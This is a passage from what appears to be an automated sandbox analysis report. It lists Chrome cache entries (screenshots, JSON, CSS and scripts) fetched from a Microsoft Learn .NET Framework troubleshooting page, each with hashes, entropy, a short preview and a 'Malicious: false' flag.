Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	195719
Entropy (8bit):	5.430057012529021
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli2:Wof3G0NSkNzMeO7z/l3lh
MD5:	9445D8D43537540BC89651C93A9C3832
SHA1:	EC3066770D52DB58CB7E44C54C3ABAA40CEB121A
SHA-256:	586D6261C80CBF8CDEC59DE01F1A1D09B32C04E87431E4333A0BF4D8990C2755
SHA-512:	F2BB9BB14C24883499AF2FAD35EE95AF7BF3D9B0431D8072C54C9D5946C751E04D952F5AD5D937F6CBC7C56177FA2091A5A6F33318F2907E9D3628C28E7FFC9C
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
